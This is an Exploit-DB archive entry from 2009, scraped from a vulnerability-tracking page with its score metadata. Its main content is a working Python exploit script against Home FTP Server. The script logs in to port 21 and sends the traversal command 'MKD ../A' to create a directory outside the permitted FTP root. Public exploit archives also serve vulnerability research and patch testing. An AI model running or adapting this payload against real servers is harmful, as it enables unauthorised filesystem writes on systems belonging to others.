Lucene search

K
exploitdbZhangmcEDB-ID:10162
HistoryNov 17, 2009 - 12:00 a.m.

Home FTP Server - 'MKD' Directory Traversal

2009-11-1700:00:00
zhangmc
www.exploit-db.com
34

AI Score

7.4

Confidence

Low

EPSS

0.007

Percentile

79.7%

#!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    sock.send("MKD ../A\r\n")
    sock.close()
    sys.exit(0);

AI Score

7.4

Confidence

Low

EPSS

0.007

Percentile

79.7%

Related for EDB-ID:10162